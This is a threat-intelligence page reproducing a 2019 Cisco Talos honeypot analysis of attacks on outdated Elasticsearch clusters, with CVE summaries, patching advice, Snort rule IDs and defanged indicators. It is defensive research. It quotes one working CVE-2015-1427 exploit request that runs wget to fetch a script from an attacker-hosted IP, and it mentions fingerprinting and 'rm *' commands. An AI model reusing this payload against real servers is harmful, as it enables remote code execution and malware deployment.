Cisco Talos Honeypot Analysis Reveals Rise in Attacks on Elasticsearch Clusters
Vulnerabilities mentionedAll →
| CVE | Vulnerability | CVSS | EPSS | Flags | Affected | Exposure | Published |
|---|---|---|---|---|---|---|---|
| CVE-2014-3120 | Remote Code Execution via Dynamic Scripting in Elasticsearch (CVE-2014-3120) CVE-2014-3120 is a remote code execution flaw in Elasticsearch that arises when dynamic scripting is enabled, allowing remote attackers to submit arbitrary MVEL expressions and Java code that the cluster evaluates. It is triggered by sending crafted requests to the Elasticsearch API of a cluster where dynamic scripts are permitted, which is the default configuration in legacy releases. An attacker gains arbitrary Java code execution on the server, which public reporting shows being used for cryptojacking, DDoS botnets, and worm-like propagation. Any Elastic Elasticsearch deployment with dynamic scripting enabled is affected. The flaw is listed in CISA KEV (added 2022-03-25), carries an 88.6% EPSS score, and recent honeypot and botnet reporting indicates multiple threat actors are actively exploiting exposed Elasticsearch clusters. Do: Apply updates per vendor instructions (the CISA KEV required action); current Elasticsearch releases no longer enable dynamic scripting by default, so upgrading removes the exposure. If upgrading is not immediately possible, disable dynamic scripting or restrict script execution, and limit exposure of the Elasticsearch API to trusted networks. Hunt for signs of compromise such as unexpected miner processes, outbound DDoS traffic, or worm-like lateral activity, since Talos honeypot data and WatchDog botnet reporting show this flaw being abused by multiple threat actors. | — | 89% | KEV |
| large≈ tens of thousands of exposed/legacy Elasticsearch clusters | |
| CVE-2015-1427 | Sandbox Bypass RCE in Elasticsearch Groovy Scripting Engine The Groovy scripting engine used by Elasticsearch for dynamic scripts (script fields, script-based sorting and queries) fails to properly confine user-supplied Groovy code, allowing a crafted script to escape the sandbox (CWE-284, improper access control) and invoke Java APIs such as Runtime to run arbitrary shell commands on the server. It is triggered remotely when an attacker who can reach the Elasticsearch HTTP API submits a malicious dynamic script (e.g., via the _search endpoint) on instances with dynamic scripting enabled. A successful attacker gains arbitrary command execution on the host running Elasticsearch, which can lead to full server compromise and follow-on activity such as malware or ransomware deployment. Affected deployments are Elasticsearch prior to 1.3.8 and 1.4.x prior to 1.4.3 (per public advisory records; the CISA source data lists no explicit version range), with fixes shipped in 1.3.8 and 1.4.3. The flaw is confirmed exploited in the wild — CISA added it to the KEV catalog on 2022-03-25 with ransomware use unknown — and EPSS ranks it in the 100th percentile (99.9% probability of exploitation within 30 days), though no public PoC is listed in the source data. Do: Upgrade Elasticsearch to 1.3.8 (1.3.x) or 1.4.3 (1.4.x) or later, consistent with CISA's required action to apply updates per vendor instructions; as an interim mitigation, disable dynamic Groovy scripting (script.dynamic: false) and restrict port 9200 to trusted networks. Inventory internet-exposed instances (Shodan/Censys on port 9200), verify installed versions via the cluster's root endpoint, and hunt for signs of command execution such as unexpected processes, new cron/systemd entries, or outbound connections from Elasticsearch hosts. | — | 100% | KEV |
| mass≈100,000+ internet-exposed Elasticsearch instances (order of magnitude 100k, from public internet-wide scans) | |
| CVE-2017-10271 | Unauthenticated Remote Code Execution in Oracle WebLogic Server Oracle WebLogic Server (CVE-2017-10271) contains a remote code execution flaw in its WLS Security component, where an XMLDecoder deserialization bug allows unauthenticated attackers to execute arbitrary code. The flaw is triggered by sending specially crafted XML requests to exposed WebLogic HTTP endpoints, so any instance whose WebLogic ports are reachable by untrusted users is at risk. Successful exploitation yields arbitrary code execution on the application server host, and the bug has been widely leveraged to install cryptominers and ransomware payloads. Organizations running Oracle WebLogic Server — particularly instances directly exposed to the internet — are affected, and the flaw has been on CISA's Known Exploited Vulnerabilities catalog since 2022-02-10 with confirmed ransomware use. Exploitation is assessed as essentially certain in the near term (EPSS 100.0%, 100th percentile), and defenders should treat it as an actively exploited, high-priority issue. Do: Apply Oracle's updates for CVE-2017-10271 per Oracle's instructions (the vendor's required action for this KEV entry). Until patched, restrict network access to WebLogic HTTP/admin ports from untrusted networks and limit or remove access to the XML/WSAT endpoints used for exploitation. Because ransomware operators are known to exploit this flaw, review internet-exposed WebLogic instances for signs of compromise, such as unexpected processes, new scheduled tasks, webshells, or ransomware artifacts. | 7.5 | 100% | KEV ransomware PoC ×3 |
| large≈tens of thousands of internet-exposed WebLogic Server instances (total deployed install base likely higher, including internal-only servers) | |
| CVE-2018-1273 | Unauthenticated RCE in VMware Tanzu Spring Data Commons CVE-2018-1273 is a property binder flaw (CWE-94, improper neutralization of special elements leading to code injection) in Spring Data Commons, affecting versions 1.13.0 to 1.13.10, 2.0.0 to 2.0.5, and older unsupported releases. An unauthenticated remote attacker triggers it by sending specially crafted request parameters against Spring Data REST-backed HTTP resources or via Spring Data projection-based request payload binding. Successful exploitation yields remote code execution on the application host, reflected in the critical CVSS 3.1 score of 9.8 with network attack vector and no privileges or user interaction required. Any application built on the affected library and exposing the vulnerable binding paths is at risk, including deployments of Spring Data REST, Apache Ignite, and Oracle Financial Services Crime and Compliance Management Studio that bundle the library. Exploitation is confirmed in the wild: the flaw was added to CISA KEV on 2022-03-25 with known ransomware use, EPSS rates a 97% probability of exploitation within 30 days (100th percentile), and related threat reporting shows active attacks against Java-based services, although no public PoC is catalogued in the source data. Do: Apply vendor updates per the CISA KEV required action: upgrade Spring Data Commons past the last-affected releases 1.13.10 and 2.0.5 (i.e., 1.13.11 or 2.0.6 and later) or to the latest supported release. Inventory internet-facing Java applications for Spring Data REST endpoints and projection-based payload binding, patch or restrict those paths, and review application logs for exploitation activity given the known ransomware use. | 9.8 | 97% | KEV ransomware |
| massmillions of Java/Spring deployments embed the vulnerable library, with plausibly tens of thousands of directly internet-exposed exploitable endpoints | |
| CVE-2018-7600 | Unauthenticated Remote Code Execution in Drupal Core (Drupalgeddon 2) CVE-2018-7600, widely known as 'Drupalgeddon 2', is an unauthenticated remote code execution flaw in Drupal Core caused by insufficient input validation (CWE-20) in how the CMS processes certain structured request data. It can be triggered through multiple attack vectors, such as crafted parameters submitted to commonly used form and rendering features that are reachable by anonymous users with a single HTTP request. Successful exploitation lets an attacker run arbitrary code under the web application, typically resulting in complete site compromise, and CISA notes the flaw has been used in ransomware operations. Any site running unpatched Drupal 7.x or 8.x core is affected; Drupal's installed base at the time of disclosure was on the order of one million sites. Exploitation is confirmed in the wild (CISA KEV, added 2021-11-03), EPSS assigns a 100% probability of exploitation within 30 days, and no public PoC is recorded in the supplied data. Do: Upgrade immediately per vendor instructions: Drupal 7.58, 8.5.1, or the corresponding 8.4.6/8.3.9 updates if you remain on older 8.x branches, prioritizing internet-facing sites. Because this flaw has been exploited in the wild and used in ransomware operations, also check patched sites for backdoors, unexpected administrator accounts, modified core files, and rotate credentials. | 9.8 | 100% | KEV ransomware PoC ×4 |
| mass≈1,000,000 sites (Drupal's self-reported installed base at time of disclosure) |
Indicators of compromiseauto-extracted · verify before use · export allAll →
| Type | Indicator | Context |
|---|---|---|
| sha256 | 191f1126f42b1b94ec248a7bbb60b354f2066b45287cd1bdb23bd39da7002a8c | e608c2cece021e68056f2897d88ed855bafd457e07e62533db6dfdc00dc 191f1126f42b1b94ec248a7bbb60b354f2066b45287cd1bdb23bd39da7002a8c 2bcc9fff40053ab356ddde6de55077f8bf83d8dfa6d129c250f521eb170 |
| sha256 | 2bcc9fff40053ab356ddde6de55077f8bf83d8dfa6d129c250f521eb170dc123 | 126f42b1b94ec248a7bbb60b354f2066b45287cd1bdb23bd39da7002a8c 2bcc9fff40053ab356ddde6de55077f8bf83d8dfa6d129c250f521eb170dc123 9a181c6a1748a9cfb46751a2cd2b27e3e742914873de40402b5d40f334d |
| sha256 | 5fe3b0ba0680498dbf52fb8f0ffc316f3a4d7e8202b3ec710b2ae63e70c83b90 | c6a1748a9cfb46751a2cd2b27e3e742914873de40402b5d40f334d5448c 5fe3b0ba0680498dbf52fb8f0ffc316f3a4d7e8202b3ec710b2ae63e70c83b90 7b08a8dae39049aecedd9679301805583a77a4271fddbafa105fa3b1b50 |
| sha256 | 709d04dd39dd7f214f3711f7795337fbb1c2e837dddd24e6d426a0d6c306618e | f001a6361c8454c9e560a6ca11e825ed17f63813074621846c43d6571ba 709d04dd39dd7f214f3711f7795337fbb1c2e837dddd24e6d426a0d6c306618e 830db6a2a6782812848f43a4e1229847d92a592671879ff849bc9cf0825 |
| sha256 | 7b08a8dae39049aecedd9679301805583a77a4271fddbafa105fa3b1b507baa3 | 0ba0680498dbf52fb8f0ffc316f3a4d7e8202b3ec710b2ae63e70c83b90 7b08a8dae39049aecedd9679301805583a77a4271fddbafa105fa3b1b507baa3 Second Actor: Attacking IP address: 202[.]109[.]143[.]110 I |
| sha256 | 7f18c8beb8e37ce41de1619b2d67eb600ace062e23ac5a5d9a9b2b3dfaccf79b | 70[.]198:5522 SHA256 of malware hosted on above IP address: 7f18c8beb8e37ce41de1619b2d67eb600ace062e23ac5a5d9a9b2b3dfaccf79b dac92c84ccbb88f058b61deadb34a511e320affa7424f3951169cba50d7 |
| sha256 | 830db6a2a6782812848f43a4e1229847d92a592671879ff849bc9cf08259ba6a | 4dd39dd7f214f3711f7795337fbb1c2e837dddd24e6d426a0d6c306618e 830db6a2a6782812848f43a4e1229847d92a592671879ff849bc9cf08259ba6a Remaining actors: Attacking IP addresses: 111[.]19[.]78[.]4 |
| sha256 | 9a181c6a1748a9cfb46751a2cd2b27e3e742914873de40402b5d40f334d5448c | fff40053ab356ddde6de55077f8bf83d8dfa6d129c250f521eb170dc123 9a181c6a1748a9cfb46751a2cd2b27e3e742914873de40402b5d40f334d5448c 5fe3b0ba0680498dbf52fb8f0ffc316f3a4d7e8202b3ec710b2ae63e70c |
| sha256 | bbd6839074adea734213cc5e40a0dbb31c4c36df5a5bc1040757d6baec3f8415 | 8506 207[.]148[.]70[.]143:8506 SHA256 of delivered malware: bbd6839074adea734213cc5e40a0dbb31c4c36df5a5bc1040757d6baec3f8415 e2f1be608c2cece021e68056f2897d88ed855bafd457e07e62533db6dfd |
| sha256 | d3447f001a6361c8454c9e560a6ca11e825ed17f63813074621846c43d6571ba | 653a3bfbac53cbb40a8857f81c8ec70927a968cb62e32fd36143a6437fc d3447f001a6361c8454c9e560a6ca11e825ed17f63813074621846c43d6571ba 709d04dd39dd7f214f3711f7795337fbb1c2e837dddd24e6d426a0d6c30 |
| sha256 | dac92c84ccbb88f058b61deadb34a511e320affa7424f3951169cba50d700500 | 8beb8e37ce41de1619b2d67eb600ace062e23ac5a5d9a9b2b3dfaccf79b dac92c84ccbb88f058b61deadb34a511e320affa7424f3951169cba50d700500 e5a04653a3bfbac53cbb40a8857f81c8ec70927a968cb62e32fd36143a6 |
| sha256 | e2f1be608c2cece021e68056f2897d88ed855bafd457e07e62533db6dfdc00dc | 39074adea734213cc5e40a0dbb31c4c36df5a5bc1040757d6baec3f8415 e2f1be608c2cece021e68056f2897d88ed855bafd457e07e62533db6dfdc00dc 191f1126f42b1b94ec248a7bbb60b354f2066b45287cd1bdb23bd39da70 |
| sha256 | e5a04653a3bfbac53cbb40a8857f81c8ec70927a968cb62e32fd36143a6437fc | c84ccbb88f058b61deadb34a511e320affa7424f3951169cba50d700500 e5a04653a3bfbac53cbb40a8857f81c8ec70927a968cb62e32fd36143a6437fc d3447f001a6361c8454c9e560a6ca11e825ed17f63813074621846c43d6 |
Full article1,376 words · extracted from blog.talosintelligence.com · click to collapse
Tuesday, February 26, 2019 13:56
Christopher Evans of Cisco Talos conducted the research for this post.
EXECUTIVE SUMMARY
Cisco Talos warns users that they need to keep a close eye on unsecured Elasticsearch clusters. We have recently observed a spike in attacks from multiple threat actors targeting these clusters. These attackers are targeting clusters using versions 1.4.2 and lower, and are leveraging old vulnerabilities to pass scripts to search queries and drop the attacker's payloads. These scripts are being leveraged to drop both malware and cryptocurrency miners on victim machines. Talos has also been able to identify social media accounts associated with one of these threat actors. Because Elasticsearch is typically used to manage very large datasets, the repercussions of a successful attack on a cluster could be devastating due to the amount of data present. This post details the attack methods used by each threat actor, as well as the associated payloads.
INTRODUCTION
Through ongoing analysis of honeypot traffic, Talos detected an increase in attacks targeting unsecured Elasticsearch clusters. These attacks leverage CVE-2014-3120 and CVE-2015-1427, both of which are only present in old versions of Elasticsearch and exploit the ability to pass scripts to search queries. Based on patterns in the payloads and exploit chains, Talos assesses with moderate confidence that six distinct actors are exploiting our honeypots.
For example CVE-2015-1427:
{
"size": 1,
"script_fields": {
"lupin": {
"script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"wget http://45.76.122.92:8506/IOFoqIgyC0zmf2UR/uuu.sh -P /tmp/sssooo\").getText()"
}
}
}
The most active of these actors consistently deploys two distinct payloads with the initial exploit, always using CVE-2015-1427. The first payload invokes wget to download a bash script, while the second payload uses obfuscated Java to invoke bash and download the same bash script with wget. This is likely an attempt to make the exploit work on a broader variety of platforms. The bash script utilized by the attacker follows a commonly observed pattern of disabling security protections and killing a variety of other malicious processes (primarily other mining malware), before placing its RSA key in the authorized_keys file. Additionally, this bash script serves to download illicit miners and their configuration files. The script achieves persistence by installing shell scripts as cron jobs.
This bash script also downloads a UPX-packed ELF executable. Analysis of the unpacked sample reveals that this executable contains exploits for a variety of other systems. These additional exploits include several vulnerabilities, all of which could lead to remote code execution, such as CVE-2018-7600 in Drupal, CVE-2017-10271 in Oracle WebLogic, and CVE-2018-1273 in Spring Data Commons. The exploits are sent, typically via HTTPS, to the targeted systems. As evidenced by each of these exploits, the attacker's goal appears to be obtaining remote code execution on targeted machines. Detailed analysis of the payload sample is ongoing, and Talos will provide pertinent updates as necessary.
Talos observed a second actor exploiting CVE-2014-3120, using it to deliver a payload that is derivative of the Bill Gates distributed denial-of-service malware. The reappearance of this malware is notable because, while Talos has previously observed this malware in our honeypots, the majority of actors have transitioned away from the DDoS malware and pivoted toward illicit miners.
A third actor attempts to download a file named "LinuxT" from an HTTP file server using exploits targeting CVE-2014-3120. The LinuxT file is no longer hosted on the command and control (C2) server despite continued exploits requesting the file, although several other malicious files are still being hosted. All of these files are detected by ClamAV as variants of the Spike trojan and are intended to run on x86, MIPS and ARM architectures.
As part of our research, we observed that, in some cases, hosts that attempted to download the "LinuxT" sample also dropped payloads that executed the command "echo 'qq952135763.'" This behavior has been seen in elastic search error logs going back several years. QQ is a popular Chinese social media website, and it is possible that this is referencing a QQ account. We briefly reviewed the public account activity of 952135763 and found several posts related to cybersecurity and exploitation, but nothing specific to this activity. While this information could potentially shed more light on the attacker, there is insufficient information currently to draw any firm conclusions.
"About Me" page of the attacker's personal website linking to the same QQ account number as in the command above.
This website also links to the potential attacker's Gitee page. Gitee is a Chinese code-sharing website similar to Github or Atlassian.
Attacker's Gitee page.
Although the projects associated with this Gitee profile are not explicitly malicious, Talos has linked this QQ account to a profile on Chinese hacking forum xiaoqi7, as well as a history of posts on topics related to exploits and malware on other forums. We briefly reviewed the public account activity of 952135763 and found several posts related to cyber security and exploitation, but nothing specific to this activity. While this information could tell us more about the attacker, there is insufficient information currently to draw any firm conclusions.
Our honeypots also detected additional hosts exploiting Elasticsearch to drop payloads that execute both "echo 'qq952135763'" and "echo '952135763,'" suggesting that the attacks are related to the same QQ account. However, none of the IPs associated with these attacks have been observed attempting to download the "LinuxT" payload linked to this attacker. Additionally, unlike other activity associated with this attacker, these attacks leveraged the newer Elasticsearch vulnerability rather than the older one.
The three remaining actors that Talos identified have not been observed delivering any malware through their exploits. One actor issued an "rm *" command, while the other two actors were fingerprinting vulnerable servers by issuing 'whoami' and 'id' commands.
CONCLUSION
Talos has observed multiple attackers exploiting CVE-2014-3120 and CVE-2015-1427 in our Elasticsearch honeypots to drop a variety of malicious payloads. Additionally, Talos has identified some social media accounts we believe could belong to the threat actor dropping the "LinuxT" payload. These Elasticsearch vulnerabilities only exist in versions 1.4.2 and lower, so any cluster running a modern version of Elasticsearch is unaffected by these vulnerabilities. Given the size and sensitivity of the data sets these clusters contain, the impact of a breach of this nature could be severe. Talos urges readers to patch and upgrade to a newer version of Elasticsearch if at all possible. Additionally, Talos highly recommends disabling the ability to send scripts through search queries if that ability is not strictly necessary for your use cases.
COVERAGE
The following SNORTⓇ rules will detect exploitation attempts. Note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For the most current rule information, please refer to your Firepower Management Center or Snort.org.
CVE-2014-3120: 33830, 36256, 44690
CVE-2015-1427: 33814,36067
CVE-2017-10271: 45304
CVE-2018-7600: 46316
CVE-2018-1273: 46473
Additional ways our customers can detect and block this threat are listed below.
Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.
Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks.
Email Security can block malicious emails sent by threat actors as part of their campaign.
Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), and Meraki MX can detect malicious activity associated with this threat.
AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.
Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.
IOCS:
First Actor:
Attacking IP addresses:
101[.]200[.]48[.]68
117[.]205[.]7[.]194
107[.]182[.]183[.]206
124[.]43[.]19[.]159
139[.]99[.]131[.]57
179[.]50[.]196[.]228
185[.]165[.]116[.]144
189[.]201[.]192[.]242
191[.]189[.]30[.]112
192[.]210[.]198[.]50
195[.]201[.]169[.]194
216[.]15[.]146[.]34
43[.]240[.]65[.]121
45[.]76[.]136[.]196
45[.]76[.]178[.]34
52[.]8[.]60[.]118
54[.]70[.]161[.]251
139[.]159[.]218[.]82
IP addresses and ports hosting malware:
45[.]76[.]122[.]92:8506
207[.]148[.]70[.]143:8506
SHA256 of delivered malware:
bbd6839074adea734213cc5e40a0dbb31c4c36df5a5bc1040757d6baec3f8415 e2f1be608c2cece021e68056f2897d88ed855bafd457e07e62533db6dfdc00dc
191f1126f42b1b94ec248a7bbb60b354f2066b45287cd1bdb23bd39da7002a8c
2bcc9fff40053ab356ddde6de55077f8bf83d8dfa6d129c250f521eb170dc123
9a181c6a1748a9cfb46751a2cd2b27e3e742914873de40402b5d40f334d5448c 5fe3b0ba0680498dbf52fb8f0ffc316f3a4d7e8202b3ec710b2ae63e70c83b90
7b08a8dae39049aecedd9679301805583a77a4271fddbafa105fa3b1b507baa3
Second Actor:
Attacking IP address:
202[.]109[.]143[.]110
IP address and port hosting malware:
216[.]176[.]179[.]106:9090
SHA256 of delivered malware:
bbd6839074adea734213cc5e40a0dbb31c4c36df5a5bc1040757d6baec3f8415
Third Actor:
Attacking IP addresses:
125[.]231[.]139[.]75
36[.]235[.]171[.]244
IP addresses linked to QQ account, but not delivering malware:
121[.]207[.]227[.]84
125[.]77[.]30[.]184
IP address and port hosting malware:
104[.]203[.]170[.]198:5522
SHA256 of malware hosted on above IP address:
7f18c8beb8e37ce41de1619b2d67eb600ace062e23ac5a5d9a9b2b3dfaccf79b dac92c84ccbb88f058b61deadb34a511e320affa7424f3951169cba50d700500 e5a04653a3bfbac53cbb40a8857f81c8ec70927a968cb62e32fd36143a6437fc d3447f001a6361c8454c9e560a6ca11e825ed17f63813074621846c43d6571ba 709d04dd39dd7f214f3711f7795337fbb1c2e837dddd24e6d426a0d6c306618e 830db6a2a6782812848f43a4e1229847d92a592671879ff849bc9cf08259ba6a
Remaining actors:
Attacking IP addresses:
111[.]19[.]78[.]4
15[.]231[.]235[.]194
221[.]203[.]81[.]226
111[.]73[.]45[.]90
121[.]207[.]227[.]84
125[.]77[.]30[.]184
Text extracted automatically; images, tables and formatting may be missing. Original: https://blog.talosintelligence.com/cisco-talos-honeypot-analysis-reveals/